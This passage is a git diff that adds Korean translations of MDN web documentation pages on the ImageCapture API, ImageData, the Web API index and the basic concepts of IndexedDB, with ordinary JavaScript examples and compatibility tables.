+ .then(mediaStream =&gt; {
+ document.querySelector('video').srcObject = mediaStream;
+
+ const track = mediaStream.getVideoTracks()[0];
+ imageCapture = new ImageCapture(track);
+ })
+ .catch(error =&gt; console.log(error));
+}
+
+function onGrabFrameButtonClick() {
+ imageCapture.grabFrame()
+ .then(imageBitmap =&gt; {
+ const canvas = document.querySelector('#grabFrameCanvas');
+ drawCanvas(canvas, imageBitmap);
+ })
+ .catch(error =&gt; console.log(error));
+}
+
+function onTakePhotoButtonClick() {
+ imageCapture.takePhoto()
+ .then(blob =&gt; createImageBitmap(blob))
+ .then(imageBitmap =&gt; {
+ const canvas = document.querySelector('#takePhotoCanvas');
+ drawCanvas(canvas, imageBitmap);
+ })
+ .catch(error =&gt; console.log(error));
+}
+
+/* Utils */
+
+function drawCanvas(canvas, img) {
+ canvas.width = getComputedStyle(canvas).width.split('px')[0];
+ canvas.height = getComputedStyle(canvas).height.split('px')[0];
+ let ratio = Math.min(canvas.width / img.width, canvas.height / img.height);
+ let x = (canvas.width - img.width * ratio) / 2;
+ let y = (canvas.height - img.height * ratio) / 2;
+ canvas.getContext('2d').clearRect(0, 0, canvas.width, canvas.height);
+ canvas.getContext('2d').drawImage(img, 0, 0, img.width, img.height,
+ x, y, img.width * ratio, img.height * ratio);
+}
+
+document.querySelector('video').addEventListener('play', function() {
+ document.querySelector('#grabFrameButton').disabled = false;
+ document.querySelector('#takePhotoButton').disabled = false;
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#imagecaptureapi','ImageCapture')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.ImageCapture")}}</p>
diff --git a/files/ko/web/api/imagecapture/takephoto/index.html b/files/ko/web/api/imagecapture/takephoto/index.html
new file mode 100644
index 0000000000..ac7fd39f3d
--- /dev/null
+++ b/files/ko/web/api/imagecapture/takephoto/index.html
@@ -0,0 +1,82 @@
+---
+title: ImageCapture.takePhoto()
+slug: Web/API/ImageCapture/takePhoto
+tags:
+ - API
+ - Experimental
+ - ImageCapture
+ - MediaStream Image Capture
+ - Method
+ - Reference
+translation_of: Web/API/ImageCapture/takePhoto
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p><span class="seoSummary">{{domxref("ImageCapture")}} 인터페이스의<strong> <code>takePhoto()</code></strong> 메서드는 {{domxref("MediaStreamTrack")}}을 제공하는 비디오 캡처 장치를 사용해 단일 노출 촬영을 하고, 그 데이터를 담은 {{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>blobPromise</em> = <em>imageCaptureObj</em>.takePhoto([<em>photoSettings</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>photoSettings</code> {{optional_inline}}</dt>
+ <dd>사진을 촬영할 때 사용할 옵션을 나타내는 객체. 가능한 옵션은 다음과 같습니다.
+ <ul>
+ <li><code>fillLightMode</code>: 캡처 장치의 플래시 설정. <code>"auto"</code>, <code>"off"</code>, <code>"flash"</code> 중 하나를 사용할 수 있습니다.</li>
+ <li><code>imageHeight</code>: 원하는 이미지 크기의 높이를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, {{glossary("user agent", "사용자 에이전트")}}는 이 값과 제일 가까운 높이를 사용합니다.</li>
+ <li><code>imageWidth</code>: 원하는 이미지 크기의 너비를 나타내는 정숫값. 일련의 정해진 크기만 지원하는 경우, 사용자 에이전트는 이 값과 제일 가까운 너비를 사용합니다.</li>
+ <li><code>redEyeReduction</code>: 적목 현상 감소 기능이 존재하는 경우, 사용할지 나타내는 불리언 값.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("Blob")}}으로 이행하는 {{jsxref("Promise")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 <a href="https://simpl.info/imagecapture/">Simple Image Capture 데모</a>에서 가져온 것으로, <code>takePhoto()</code>가 반환한 {{jsxref("Promise")}}의 {{domxref("Blob")}}을 사용해 {{htmlelement("img")}} 요소에 할당하는 방법을 보입니다. 코드를 짧게 유지하기 위해 {{domxref("ImageCapture")}} 객체의 초기화 과정은 생략했습니다.</p>
+
+<pre class="brush: js">var takePhotoButton = document.querySelector('button#takePhoto');
+var canvas = document.querySelector('canvas');
+
+takePhotoButton.onclick = takePhoto;
+
+function takePhoto() {
+  imageCapture.takePhoto().then(function(blob) {
+    console.log('Took photo:', blob);
+    img.classList.remove('hidden');
+    img.src = URL.createObjectURL(blob);
+  }).catch(function(error) {
+    console.log('takePhoto() error: ', error);
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#dom-imagecapture-takephoto','takePhoto()')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.takePhoto")}}</p>
+</div>
diff --git a/files/ko/web/api/imagecapture/track/index.html b/files/ko/web/api/imagecapture/track/index.html
new file mode 100644
index 0000000000..0cab8caacf
--- /dev/null
+++ b/files/ko/web/api/imagecapture/track/index.html
@@ -0,0 +1,49 @@
+---
+title: ImageCapture.track
+slug: Web/API/ImageCapture/track
+tags:
+ - API
+ - Experimental
+ - ImageCapture
+ - MediaStream Image Capture
+ - Property
+ - Read-only
+ - Reference
+translation_of: Web/API/ImageCapture/track
+---
+<div>{{APIRef("MediaStream Image")}}</div>
+
+<p>{{domxref("ImageCapture")}} 인터페이스의 <strong><code>track</code></strong> 읽기 전용 속성은 {{domxref("ImageCapture.ImageCapture","ImageCapture()")}} 생성자에 제공한 {{domxref("MediaStreamTrack")}}의 참조를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>mediaStreamTrack</em> = <em>imageCaptureObj</em>.track</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("MediaStreamTrack")}} 객체.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image','#dom-imagecapture-track','track')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture.track")}}</p>
+</div>
diff --git a/files/ko/web/api/imagedata/index.html b/files/ko/web/api/imagedata/index.html
new file mode 100644
index 0000000000..fb7beec45e
--- /dev/null
+++ b/files/ko/web/api/imagedata/index.html
@@ -0,0 +1,134 @@
+---
+title: ImageData
+slug: Web/API/ImageData
+translation_of: Web/API/ImageData
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><code><strong>ImageData</strong></code> 인터페이스는 {{HTMLElement("canvas")}} 엘리먼트 영역의 기저의 픽셀데이터를 나타냅니다{{domxref("ImageData.ImageData", "ImageData()")}}생성자나 canvas객체에 연결된 {{domxref("CanvasRenderingContext2D")}}객체의 {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}나 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}메소드로 생성할 수 있습니다. <strong><font face="Courier New">ImageData</font></strong>는 {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}의 인자로 전달할 수 있으며, 이를 통해 canvas의 일부로 반영할 수 있습니다.</p>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}</dt>
+ <dd>인자로 주어진 {{jsxref("Uint8ClampedArray")}}로 부터 해당 크기에 맞는 ImageData객체를 생성합니다. 만약 인자가 주어지지 않으면 검정색 사각형 이미지를 생성합니다. {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}는 worker에서 사용할 수 없기 때문에, ImageData의 생성자를 이용하는 것이 가장 일반적인 방법입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.data")}} {{readonlyInline}}</dt>
+ <dd>{{jsxref("Uint8ClampedArray")}}형식이며 1차원 배열로 RGBA순서로 정의된 이미지 데이터를 나타내니다. 각 원소는 정수값으로 0에서 255사이의 값을 갖습니다.</dd>
+ <dt>{{domxref("ImageData.height")}} {{readonlyInline}}</dt>
+ <dd>unsigned long형식으로 ImageData의 pixel기준의 실제 높이값입니다.</dd>
+ <dt>{{domxref("ImageData.width")}} {{readonlyInline}}</dt>
+ <dd>unsigned long형식으로 ImageData의 pixel기준의 실제 가로값입니다.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{CompatGeckoDesktop("14")}}</td>
+ <td>9.0</td>
+ <td>9.0</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>Support in workers</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("25")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ImageData()</code> constructor</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("29")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.1</td>
+ <td>{{CompatGeckoMobile("14")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.0</td>
+ <td>3.2</td>
+ </tr>
+ <tr>
+ <td>Support in workers</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("25")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>ImageData()</code> constructor</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("29")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>The {{HTMLElement("canvas")}} element and its associated interface, {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/ko/web/api/index.html b/files/ko/web/api/index.html
new file mode 100644
index 0000000000..fda766fffd
--- /dev/null
+++ b/files/ko/web/api/index.html
@@ -0,0 +1,33 @@
+---
+title: Web API
+slug: Web/API
+tags:
+ - API
+ - DOM
+ - JavaScript
+ - Landing
+ - Reference
+ - Web
+translation_of: Web/API
+---
+<p><span class="seoSummary">웹 코드를 작성한다면 많은 API를 사용할 수 있습니다. 아래 목록은 웹 앱이나 웹 사이트를 만들 때 사용할 수 있는 모든 인터페이스(객체의 유형)입니다.</span></p>
+
+<p>Web API는 보통 JavaScript와 함께 사용하지만, 항상 그렇지는 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<p>사용 가능한 API의 전체 목록입니다.</p>
+
+<p>{{ListGroups}}</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>사용 가능한 인터페이스(객체의 유형) 전체 목록입니다.</p>
+
+<p>{{APIListAlpha}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Reference/Events">웹 API 이벤트 참고서</a></li>
+</ul>
diff --git a/files/ko/web/api/index/index.html b/files/ko/web/api/index/index.html
new file mode 100644
index 0000000000..c06701815a
--- /dev/null
+++ b/files/ko/web/api/index/index.html
@@ -0,0 +1,10 @@
+---
+title: Index
+slug: Web/API/Index
+tags:
+ - API
+ - Index
+ - Landing
+translation_of: Web/API/Index
+---
+<p>{{Index("/ko/docs/Web/API")}}</p>
diff --git a/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
new file mode 100644
index 0000000000..0975005ad9
--- /dev/null
+++ b/files/ko/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
@@ -0,0 +1,219 @@
+---
+title: 기본 개념
+slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+tags:
+ - Advanced
+ - IndexedDB
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<div class="summary">
+<p><strong>IndexedDB</strong>는 사용자의 브라우저 안에 데이터를 영구적으로 저장하게 해주는 방법 중 하나입니다. 그것은 네트워크 가능 여부에 상관없이, 풍부한 쿼리 작성 능력으로 웹 애플리케이션을 만들게 해주고, 이 애플리케이션은 온라인과 오프라인 모두에서 동작할 수 있습니다. IndexedDB는 예를 들면, 도서관의 DVD 목록처럼 대용량 데이터를 저장하는 애플리케이션, 그리고 메일 클라이언트, to-do 리스트, 노트패드처럼 동작에 지속적인 인터넷 연결이 필요하지 않은 애플리케이션에 유용합니다.</p>
+</div>
+
+<h2 id="이_문서에_대하여">이 문서에 대하여</h2>
+
+<p>이 소개글은 IndexedDB의 필수 개념과 용어에 대해 논의합니다. 큰 그림을 제공하고 핵심 개념들을 설명합니다.</p>
+
+<p>다음과 같은 유용한 정보를 찾을 수 있을 것입니다.</p>
+
+<ul>
+ <li>IndexedDB 용어들에 대해 더 배우기 위해, <a href="#definitions">정의</a> 섹션을 보세요.</li>
+ <li>API 사용법에 대한 자세한 강좌는, <a href="/ko/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">IndexedDB 사용하기</a>를 보세요.</li>
+ <li>IndexedDB API에 대한 레퍼런스 문서는, <a href="/ko/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> 글과 그 하위 페이지에 있는 IndexedDB에 사용되는 객체의 타입들에 대한 설명을 보세요.</li>
+ <li>브라우저가 뒷단에서 데이터를 어떻게 저장하는지에 대한 좀 더 많은 정보는 <a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Browser storage limits and eviction criteria</a>를 읽어보세요.</li>
+</ul>
+
+<h2 id="IndexedDB_개요">IndexedDB 개요</h2>
+
+<p>IndexedDB는 "키(key)"로 지정된 객체를 저장하고 검색할 수 있도록 도와줍니다. 데이터베이스에 적용하는 모든 변경은 트렌잭션 안에서 일어납니다. 대부분의 웹 스토리지 솔루션과 마찬가지로, IndexedDB는 동일 출처 정책 (<a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>)을 따릅니다. 따라서 당신이 한 도메인의 데이터에 접근하고 있는 동안, 다른 도메인의 데이터에 접근할 수 없습니다.</p>
+
+<p>IndexedDB는 <a href="/ko/docs/Web/API/Web_Workers_API/basic_usage">웹 워커</a>를 포함하는 대부분의 문맥(컨텍스트)에 사용될 수 있는 비동기(<a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">asynchronous</a>) API입니다. 웹 워커에서 사용하기 위해 동기(<a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">synchronous</a>) 버전도 존재했지만, 웹 커뮤니티의 관심부족으로 웹 스펙에서 제거되었습니다.</p>
+
+<p>IndexedDB는 WebSQL 데이터베이스와 경쟁 관계에 있었지만, W3C는 2010 11월 8일에 WebSQL을 폐기(deprecated)하였습니다. IndexedDB와 WebSQL 모두 데이터 저장을 위한 솔루션이지만, 동일한 기능을 제공하지는 않습니다. WebSQL Database는 관계형 데이터베이스 접근 시스템인 반면, IndexedDB는 인덱스 테이블 시스템입니다.</p>
+
+<h2 id="concepts" name="concepts">주요 개념들</h2>
+
+<p>만약 당신이 다른 종류의 데이터베이스로 작업하고 있었다면, IndexedDB로 작업할 때 힘들어질 수도 있습니다. 그러므로 다음의 중요한 개념들을 염두에 두어야 합니다.</p>
+
+<ul>
+ <li>
+ <p><strong>IndexedDB 데이터베이스는 키(key)-값(value) 한 쌍을 저장합니다.</strong> 값은 복잡한 구조의 객체가 될 수 있고,  키는 이 객체의 프로퍼티가 될 수 있습니다. 빠른 검색을 위해 저장된 계산(sorted enumeration)뿐만 아니라, 객체의 속성을 사용하는 인덱스를 만들 수 있습니다. 키는 바이너리 객체도 될 수 있습니다.</p>
+ </li>
+ <li>
+ <p><strong>IndexedDB는 트랜젝션 데이터베이스 모델을 기반으로 만들어졌습니다</strong>. 당신이 IndexedDB에서 하는 모든 것은  언제나 트랜젝션(<a href="#gloss_transaction">transaction</a>) 문맥(컨텍스트) 내에서 발생합니다. IndexedDB API는 인덱스, 테이블, 커서, 그 외 다른 것을 나타내는 많은 객체를 제공하지만, 이들 각각은 특정 트랜젝션에 묶여있습니다. 그러므로, 당신은 트랜젝션 밖에서 명령을 실행하거나 커서를 열 수 없습니다. 트랜젝션은 명확한 수명(well-defined lifetime)을 가지고 있어서 트랜젝션이 완료된 후에 트랜젝션을 사용하려고 시도하면 예외가 발생합니다. 또한, 트랜젝션은 오토 커밋이고, 수동으로 커밋될 수 없습니다.</p>
+
+ <p>한 사용자가 당신이 만든 웹앱 인스턴스를 두 개의 다른 tabs에서 각각 동시에 열면 어떤 일이 일어날 수 있는지 생각해본다면, 이 트랜젝션 모델이 얼마나 유용한지 알 수 있습니다. 이러한 상황에서 트랜젝션 작업이 없다면, 두 개의 웹앱 인스턴스는 각각의 변경사항으로 인해 충돌할 수도 있습니다. 만약 데이터베이스의 트랜젝션에 익숙하지 않다면, <a href="https://en.wikipedia.org/wiki/Database_transaction">트랜젝션에 대한 위키피디아의 글</a>을 읽어 보세요. 또 정의 섹션의 <a href="#gloss_transaction">transaction</a>을 보세요.</p>
+ </li>
+ <li>
+ <p><strong>The IndexedDB API는 대부분 비동기 방식입니다.</strong> API는 값을 반환하는 방식으로 데이터를 주지 않습니다. 데이터를 받으려면 콜백 함수를 전달해야 합니다. 동기(synchronous) 방식으로는 하나의 값을 데이터베이스에 "저장"하거나 데이터베이스로부터 값을 "조회"할 수 없습니다. 대신, 데이터베이스 작업이 발생하도록 "요청(request)"을 해야 합니다. 작업이 완료되면 DOM 이벤트를 통해 알림을 받고, 이벤트트의 종류를 보면 그 동작이 성공했는지 아닌지를 알 수 있습니다. 처음에는 조금 복잡하게 들릴 수도 있지만, 사실은 <a href="/ko/DOM/XMLHttpRequest" title="https://developer.mozilla.org/en/xmlhttprequest">XMLHttpRequest</a>이 작동하는 방식과 크게 다르지 않습니다.</p>
+ </li>
+ <li>
+ <p><strong>IndexedDB는 많은 request를 사용합니다. </strong>Request는 앞서서 언급되었던 성공 또는 실패 DOM 이벤트를 받는 객체입니다. Request는 <code style="font-size: 14px;">onsucces</code> 와 <code style="font-size: 14px;">onerror</code> 프로퍼티를 가지고 있고, 각각의 프로퍼티에 대해 <code style="font-size: 14px;">addEventListener()</code> 와<code style="font-size: 14px;">removeEventListener()</code>를 호출할 수 있습니다. 또한 request는 request의 상태를 알려주는 <code style="font-size: 14px;">readyState</code>, <code style="font-size: 14px;">result</code>, 그리고 <code style="font-size: 14px;">errorCode</code> 프로퍼티를 가집니다. 특히 <code style="font-size: 14px;">result</code> 프로퍼티는 request의 생성 방식에 따라 그 값이 매우 다양합니다(예를 들면 <code style="font-size: 14px;">IDBCursor</code> 인스턴스가 될 수도 있고, 데이터베이스에 방금 입력한 값의 키(key)가 될 수도 있습니다.)</p>
+ </li>
+ <li>
+ <p><strong>IndexedDB는 DOM 이벤트를 사용하여 결과가 준비되었음을 알립니다. </strong>DOM 이벤트는 항상 <code style="font-size: 14px;">type</code> 프로퍼티를 가집니다(대체로 <code style="font-size: 14px;">"success"</code> 또는 <code style="font-size: 14px;">"error"</code>로 설정되어 있습니다). 또한 DOM 이벤트는 이벤트가 어디를 향하고 있는지 알려주는 <code style="font-size: 14px;">target</code> 프로퍼티를 가집니다. 대부분의 경우, 이벤트의 <code style="font-size: 14px;">target</code>은 데이터베이스 작업 결과로 생성된 <code style="font-size: 14px;">IDBRequest</code> 객체입니다. Success 이벤트는 버블링 하지 않고, 취소될 수도 없습니다. 반면 Error 이벤트는 버블링되며 취소될 수도 있습니다. error 이벤트는 취소되지 않는 한 자신이 실행되고 있는 트랜잭션은 뭐든지 중단하므로, 이를 알고 있는 것이 중요합니다.</p>
+ </li>
+ <li>
+ <p><strong>IndexedDB는 객체 지향입니다.</strong> IndexedDB는 행열의 모음으로 구성된 테이블을 갖고 있는 관계형 데이터베이스가 아닙니다. 이는 어플리케이션을 설계하고 구축하는 방식에 영향을 끼치는 중요하고 근본적인 차이점입니다.</p>
+
+ <p>전통적인 관계형 데이터베이스 저장소는 데이터의 행과 명시된 데이터 타입을 가진 열의 모음을 저장하고 있습니다. 반면 IndexedDB는 특정 데이터 타입을 저장하기 위한 객체 저장소를 형성하고 나면, 그 객체 저장소에 자바스크립트 객체를 저장하면 됩니다. 각 객체 저장소는 전반에 걸친 쿼리 작업과 반복(iteration) 작업을 효율적으로 만드는 인덱스 모음을 가질 수 있습니다. 만약 당신이 객체 지향 데이터베이스 관리 시스템에 친숙하지 않다면, <a class="external" href="https://en.wikipedia.org/wiki/Object_database" title="http://en.wikipedia.org/wiki/Object_database">Wikipedia article on object database</a>를 읽어 보세요.</p>
+ </li>
+ <li>
+ <p><strong>IndexedDB는 </strong><strong><abbr>SQL문을</abbr> 사용하지 않습니다.</strong> IndexedDB는 커서를 생선하는 index에 대해 쿼리를 사용하는데, 이는 전체 결과 값에 걸쳐 반복을 실행하기 위해 사용합니다. 만약 NoSQL 시스템에 친숙하지 않다면, <a class="external" href="https://en.wikipedia.org/wiki/NoSQL" title="http://en.wikipedia.org/wiki/NoSQL">Wikipedia article on NoSQL</a>를 읽어 보세요.</p>
+ </li>
+ <li>
+ <p><a name="origin"><strong>IndexedDB는 하나의 동일 출처 정책(same-origin policy)을 고수합니다</strong></a>. 하나의 출처(origin)는 도메인, 애플리케이션 레이어 프로토콜, 그리고 스크립트가 실행되고 있는 문서의 url 포트입니다. 각 출처는 자신의 연관된 데이터베이스 세트를 가집니다. 모든 데이터베이스는 하나의 출처 안에서 식별하기 위한 하나의 이름을 가집니다.</p>
+
+ <p>IndexedDB의 보안 경계는 다른 출처로 데이터에 접근하는 애플리케이션을 막습니다. 예를 들어, 동일한 출처를 가지고 있는 이유로 <a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a> 내의 앱이나 페이지가 <a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>로부터 데이터를 조회할 수 있는 데 반해, 출처가 다르기 때문에 <a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a>(다른 포트) <span style="line-height: 1.5;">또는 </span><a class="link-https" href="https://www.example.com/dir/" rel="freelink" style="line-height: 1.5;">https://www.example.com/dir/</a><span style="line-height: 1.5;"> (다른 프로토콜)로부터는 데이터를 조회할 수 없습니다.</span></p>
+
+ <div class="note"><strong>Note</strong>: 브라우저가 <a href="https://support.mozilla.org/ko/kb/disable-third-party-cookies">서드 파티의 쿠키에 접근할 수 없도록 설정</a>하지 않는 한 서드파티 창의 콘텐츠는 그 안에 임베드된 출처에 대한 IndexedDB 저장소에 접속할 수 있습니다. {{bug("1147821")}}</div>
+ </li>
+</ul>
+
+<h2 id="definitions" name="definitions">정의</h2>
+
+<p>이 섹션은 IndexedDB API에서 사용되는 용어들을 정의하고 설명합니다.</p>
+
+<h3 id="database" name="database">데이터베이스</h3>
+
+<dl>
+ <dt><a name="gloss_database">데이터베이스</a></dt>
+ <dd>일반적으로 하나 혹은 그 이상의 <em><a href="#gloss_object_store" title="#gloss_object_store">객체 저장소</a>로 구성되는 </em>정보의 레파지토리입니다. 개별 데이터베이스는 다음의 내용을 반드시 가져야 합니다.
+ <ul>
+ <li>이름(Name). 이것은 하나의 특정 출처 내에서 database를 구별하고 데이터베이스가 존재하는 동안 일정하게 유지됩니다. 이름은 빈 문자열을 포함해서 어떤 문자열 값이라도 될 수 있습니다.</li>
+ <li>
+ <p>현재 <a href="#gloss_version"><em>버전</em></a>. 데이터베이스가 처음 만들어질 때, 따로 지정하지 않으면 버전은 정수 1입니다. 각 데이터베이스는 주어진 순간에 오직 하나의 버전을 가질 수 있습니다.</p>
+ </li>
+ </ul>
+ </dd>
+ <dt><a name="gloss_durable">지속성</a></dt>
+ <dd>
+ <p>파이어폭스에서 indexedDB는 지속성을 유지하기 위해 사용됩니다. 즉, 읽기쓰기 트랜젝션{{domxref("IDBTransaction.oncomplete")}}이 모든 데이터가 디스크로 들어갈 수 있도록 보장될 때에만 실행됩니다.</p>
+
+ <p>파이어폭스 40에서, IndexedDB 트랜젝션은 성능을 높이기 위해 지속성 보장을 늦춰왔는데, 이는 IndexedDB를 지원하는 다른 브라우저도 동일한 방식입니다{{Bug("1112702")}}. 이 경우 {{Event("complete")}} 이벤트는 OS가 데이터 쓰기를 하라고 전달한 후, 데이터가 실제로 데이터베이스에 반영되기 전에 잠재적으로 실행됩니다. 이벤트는 이전보다 더 빠르게 전달될지도 모르지만, 만약 OS가 다운되거나 데이터가 데이터베이스에 반영되기 전에 시스템 전원이 부족하면, 전체 트랜젝션은 잃게 될 수도 있는 희박한 위험성이 존재합니다. 그런 치명적인 이벤트는 드물기 때문에, 대부분의 소비자는 더 이상 염려할 필요는 없습니다.</p>
+
+ <div class="note">
+ <p><strong>Note</strong>: 파이어폭스에서 (나중에 다시 계산 할 수 없는 까다로운 데이터를 저장하는 것)과 같은 몇 가지 이유로 지속성을 보장하고 싶다면, <code>complete</code> 이벤트가 전달되기 전에 아직 정식 표준이 아닌 실험적인 <code>readwriteflush</code> 모드를 이용하여 트랜젝션을 데이터베이스에 강제로 반영할 수 있습니다. ({{domxref("IDBDatabase.transaction")}} 참고.) 현재는 실험적으로 적용되어 있고(experimental), <code>about:config</code>에서<code>dom.indexedDB.experimental</code>값이 <code>true</code> 로 설정되어 있을 때만 사용할 수 있습니다.</p>
+ </div>
+ </dd>
+ <dt><a name="gloss_object_store">객체 저장소</a></dt>
+ <dd>
+ <p>데이터베이스에 데이터가 저장되는 매커니즘입니다. 객체 저장소는 키(key)와 값(value)의 쌍으로 된 레코드를 영구적으로 잡습니다. 한 객체 저장소 안의 레코드는 키(key)에 따라 오름차순으로 정렬됩니다.</p>
+
+ <p>모든 객체 저장소는 데이터베이스 안에서 고유한 이름을 가져야 합니다. Object store는 선택적으로 <em><a href="#gloss_keygenerator">key generator</a></em>와 <em><a href="#gloss_keypath">key path</a>를 가질 수 있다</em>.만약 object store가 key path를 가진다면, 그것은 <em><a href="#gloss_inline_key">in-line keys</a>를 사용한다</em>; 아니면, 그것은 <em><a href="#gloss_outofline_key">out-of-line keys</a>를 사용한다</em>.</p>
+
+ <p>Object store에 대한 참고 문서를 위해, <a href="../../../../en/IndexedDB/IDBObjectStore" rel="internal">IDBObjectStore</a> 또는 <a href="../../../../en/IndexedDB/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>를 보라.</p>
+ </dd>
+ <dt><a name="gloss_version">version</a></dt>
